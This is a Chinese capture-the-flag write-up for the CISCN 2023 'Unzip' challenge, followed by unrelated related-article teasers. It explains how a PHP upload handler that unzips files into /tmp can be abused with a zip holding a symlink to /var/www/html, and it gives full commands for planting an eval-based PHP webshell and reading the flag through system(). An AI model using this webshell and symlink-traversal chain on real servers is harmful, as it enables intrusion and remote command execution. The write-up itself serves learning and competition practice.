2023ciscn初赛 Unzip

news2025/1/10 11:34:31

 参考:

奇安信攻防社区-2021深育杯线上初赛官方WriteUp-Web篇

1.打开环境

 2.上传一个文件,得到以下源码,分析一下8

 <?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);  //使用 PHP 内置函数 finfo_open() 创建一个文件信息对象,用于获取指定文件的 MIME 类型
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
///检查文件的MIME类型。如果上传的文件是ZIP文件(MIME类型为application/zip)(MIME类型简单就是文件的媒体类型),则将其解压缩到服务器的/tmp目录,并且覆盖原文件。
};
//only this! 

当解压操作可以覆盖上一次解压文件就可以造成任意文件上传漏洞。此题上传的文件被保存到了/tmp目录下,而且没有require和include这种文件包含的点,因此无法直接执行上传文件里面的代码,因此这里考虑利用软连接,进行目录穿越,将文件上传到任意目录。

参考

一个有趣的任意文件读取 - 先知社区

软连接的作用类似于win下的快捷方式

软连接

软连接是linux中一个常用命令, 它的功能是为某一个文件在另外一个位置建立一个同步的链接。软连接类似与c语言中的指针,传递的是文件的地址; 更形象一些,软连接类似于WINDOWS系统中的快捷方式。 例如,在a文件夹下存在一个文件hello,如果在b文件夹下也需要访问hello文件,那么一个做法就是把hello复制到b文件夹下,另一个做法就是在b文件夹下建立hello的软连接。通过软连接,就不需要复制文件了,相当于文件只有一份,但在两个文件夹下都可以访问。

可以考虑软连接进行目录穿越的几个特征:

有文件上传接口,但是上传文件的目录不能确定可以上传zip文件并且会将文件解压到上传目录下
可以getshell的文件可以绕过waf成功上传此题符合几个特征,因此可以尝试此方法

3.先创建构造一个指向/var/www/html目录的软链接,因为html目录下是web环境,为了后续可以getshell

ls -s /var/www/html/ link

 4.打包到到1.zip,对link文件进行压缩。

zip --symlinks 1.zip link

 zip --symlinks,是在zip压缩文件中,包含符号链接本身,而不是它们指向的实际文件或目录,也就是说当解压缩这个zip文件,将得到符号链接,而不是它们指向的实际文件

5.构造第二个压缩包2.zip。创建一个link目录(因为上一个压缩包里边目录就是link),

在link目录下写一个shell.php文件,文件中写入木马文件,这里先写入phpinfo()进行测试

rm link

mkdir linkcd link  (创建目录)

echo "<?php phpinfo();" > shell.php

cd ../ 

zip -r 2.zip link 

6. 将1.zip 和2.zip 依次上传,压缩包会被解压 

当我们上传第二个压缩包时会覆盖上一个link目录,但是link目录软链接指向/var/www/html。

之前我们上传了一个软链接web到/tmp 目录下,此时若解压z.zip的话,正常情况下会解压到:/tmp/web/shell.php 但是由于web指向了 /var/www/html目录,所以会恰好将shell.php解压到 /var/www/html/shell.php 刚好解压到网站的访问目录,达到了getsehll的目的。

传马

ln -s /var/www/html test #ln -s 源文件 目标文件
 
zip -y test1.zip test #-y:直接保存符号连接,而非该链接所指向的文件,本参数仅在UNIX之类的系统下有效;
 
rm -rf test  #rm -rf 删除文件夹
 
mkdir test  #mkdir是make directory的缩写,Linux中 mkdir 命令用来创建指定的名称的目录,要求创建目录的用户在当前目录中具有写权限,并且指定的目录名不能是当前目录中已有的目录。
 
cd test
 
echo '<?php eval($_POST[a]);?>' > a.php
 
cd ..
 
zip -q -r test2.zip test 
#使用zip来将文件夹test压缩为test2.zip
#-r代表 recursive,代表递归处理,将指定目录下的所有文件和子目录一并处理。
#-q代表 quiet,代表无声模式,不输出压缩时的具体细节。

此时可以使用蚁剑连接或者命令执行

a=system('cat /flag')

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/655979.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【软考系统规划与管理师笔记】第7篇 IT服务运营管理

这章也基本上是纯概念&#xff0c;整体上来说系统规划与管理师考试&#xff0c;以概念记忆为主。课本上的知识点往往告诉我们该怎么做&#xff0c;但是如何确保执行到位&#xff0c;如何主动激发员工、客户执行到位&#xff0c;往往还是空白&#xff1f;&#xff0c;作为考试记…

Android ANR分析

ANR(Application Not Responding&#xff0c;即应用程序无响应)。在Android中&#xff0c;当应用程序在规定时间内没有处理完毕相应的事件,系统就会报出ANR。 ANR类型 InputDispatchingTimedOut&#xff1a;应用程序主线程在5s内没有完成用户的input事件ServiceTimeout&#…

小型企业社交完整指南(2023年)

目录 如何制定成功的社交媒体营销策略 1. 设定预算和目标 2. 确定你的目标受众 3.研究竞争对手 4.选择社交媒体网站 5.定义你的社交媒体品牌 6.制定内容策略 社交媒体营销指标 如何制定成功的社交媒体营销策略 有效的内容营销始于计划。以下是通过六个步骤制定企业…

数据备份- rclone ,Duplicity, restic,rsync

目录 Duplicity 安装 语法&#xff1a; 案例&#xff1a; Rclone 简介 安装 设置 命令语法 备份 同步 常用功能选项 常用参数 日志 文件过滤 常用命令 查看远程文件夹的体积占用大小 Restic Restic 支持的存储类型 安装 备份至本地 创建备份仓库 备份至云…

《安富莱嵌入式周报》第315期:开源USB高速分析仪,8GHz示波器开发, 600行C编写RISC-V内核,英特尔推出用于开发人员等宽字体,便携物联网监测器

周报汇总地址&#xff1a;嵌入式周报 - uCOS & uCGUI & emWin & embOS & TouchGFX & ThreadX - 硬汉嵌入式论坛 - Powered by Discuz! 视频版&#xff1a; https://www.bilibili.com/video/BV1gV4y117UD/ 《安富莱嵌入式周报》第315期&#xff1a;开源USB…

618期间该如何入手数码好物,列举几款618值得入手的数码好物

跟不少数码爱好者一样&#xff0c;在618、双十一这种大型电商促销节日中&#xff0c;都会选择入手几款心仪且实用的数码好物毕竟产品的热度可以说是相当的在线&#xff0c;而明天就是618的最后一天了&#xff0c;为了赶紧抓住最后的脚步&#xff0c;下面我将给大家分享一些618值…

CefSharp89-winform浏览器(支持H264,MP3,MP4等音视频)x86体验

cef89.*-cefsharp89.*版本应用体验-浏览器 欢迎体验cefsharp-winform-浏览器版本更新方法**测试视频播放**正常![播放视频测试正常](https://img-blog.csdnimg.cn/263f7199ef3c4f1fba59302355e5372d.png)兼容性测试(html5test.com)下载地址其他版本参阅:欢迎体验cefsharp-wi…

华为OD机试之整数对最小和

整数对最小和 题目描述 给定两个整数数组array1、array2&#xff0c;数组元素按升序排列。 假设从array1、array2中分别取出一个元素可构成一对元素&#xff0c;现在需要取出k对元素&#xff0c; 并对取出的所有元素求和&#xff0c;计算和的最小值。 注意&#xff1a; 两…

网安等保 | 主机安全之CentOS8服务器配置优化与安全加固基线文档脚本分享

欢迎关注「全栈工程师修炼指南」公众号 点击 &#x1f447; 下方卡片 即可关注我哟! 设为「星标⭐」每天带你 基础入门 到 进阶实践 再到 放弃学习&#xff01; 专注 企业运维实践、网络安全、系统运维、应用开发、物联网实战、全栈文章 等知识分享 “ 花开堪折直须折&#xf…

C语言解决“三天打鱼两天晒网”的问题?

中国有句俗语叫“三天打鱼两天晒网”。某人从1990年1月1日起开始“三天打 鱼两天晒网”&#xff0c;问这个人在以后的某一天是“打鱼”还是“晒网”&#xff1f; 根据题意可以将解题过程分为三步&#xff1a; &#xff08;1&#xff09;计算从1990年1月1日开始至指定日…

Vite 是怎么兼容老旧浏览器的?你以为仅仅依靠 Babel?

目录 一、前言 二、那个午后 三、跟webpack构建产物到底哪里不一样&#xff1f; 1. 准备工作 2. 构建工具版本说明 3. 构建工具配置项说明 4. 构建产物 5. Vite 的原生模块化能力 6. “魔鬼藏在细节中” 四、总结 一、前言 对前端开发者来说&#xff0c;Vite 应该不算…

Gurobi解决优化问题

Gurobi1介绍 Gurobi是一种优化软件&#xff0c;用于解决各种数学规划和整数规划问题。它提供了高性能的数学规划求解器&#xff0c;可用于最大化或最小化目标函数的线性规划、混合整数规划、二次规划、约束规划等问题。 Gurobi具有强大的求解能力和高效的算法&#xff0c;可以…

SpringBoot+Durid+dynamic-datasource实现多数据源分布式事务

SpringBootDuriddynamic实现多数据源分布式事务 引言&#xff1a; 在现代的应用程序中&#xff0c;使用多个数据源来处理不同的业务需求已成为常态。然而&#xff0c;处理多数据源之间的分布式事务是一个复杂的问题。本文将介绍如何使用Spring Boot、Druid和dynamic-datasourc…

java娱乐新闻系统Myeclipse开发mysql数据库web结构jsp编程计算机网页项目wap

一、源码特点 java 娱乐新闻系统是一套完善的java web wap信息管理系统&#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式开发。开发环境为TOMCAT7.0,Myeclipse8.5开发&#xff0c;数据库为Mysql5.0&…

python---------bs4爬取数据的一种神器

作者前言 欢迎小可爱们前来借鉴我的gtieehttps://gitee.com/qin-laoda 目录 Beautiful Soup的简介 解析⼯具对⽐ BeautifulSoup的基本使⽤ 解析器 搜索⽂档树 CSS常⽤选择器介绍 select和css选择器提取元素 _______________________________________________ 前面我已经…

MongoDB快速实战与基本原理-01

一、MongoDB介绍 1、什么是MongoDB MongoDB是 一个文档数据库&#xff08;以 JSON 为数据模型&#xff09; &#xff0c;由C语言编写&#xff0c;旨在 为 WEB应用提供可扩展的高性能数据存储解决方案。 文档来自于“ JSON Document”&#xff0c;并非我们一般理解的 PDF&am…

Nik Color Efex 滤镜详解(2/5)

交叉冲印 Cross Processing 提供多种选项来处理 C41 - E6&#xff08;用幻灯片显影液处理彩色底片&#xff09;和 E6 - C41&#xff08;用彩色底片显影液处理幻灯片&#xff09;。 方法 Method 选择预设。 强度 Strength 控制滤镜效果程度。 黑暗对比度 Dark Contrasts 使用新…

这本书解开了我心中多年的疑惑,也推荐给你

我对地理一直比较感兴趣&#xff0c;中学时知识掌握的比较扎实&#xff0c;分得清洋流走向、季风信风、世界渔场等等&#xff0c;长期闲置不用已经遗忘的差不多。当时看地理真的是地理&#xff0c;现在看地理&#xff0c;不单单只是地理&#xff0c;还有政治、军事、经济、文化…

港科夜闻|香港科大工学院陈浩教授获选2023年亚洲青年科学家

关注并星标 每周阅读港科夜闻 建立新视野 开启新思维 1、香港科大工学院陈浩教授获选2023年亚洲青年科学家。亚洲青年科学家基金项目于2022年推出&#xff0c;是一项私人资助的研究奖学金计划&#xff0c;旨在鼓励和支持亚洲区内的青年科学家进行推动变革的创新研究&#xff0c…

springCloudAlibaba组件-Nacos-服务注册与心跳机制(二)

文章目录 nacos服务注册流程图专业术语服务注册执行流程 nacos服务注册流程图 专业术语 1.服务注册&#xff1a;为了将所有的微服务都方便管理&#xff0c;需要将自身的信息&#xff08;ip地址、端口号、服务名称&#xff09;以http请求方式调用nacos注册中心接口都放到nacos服…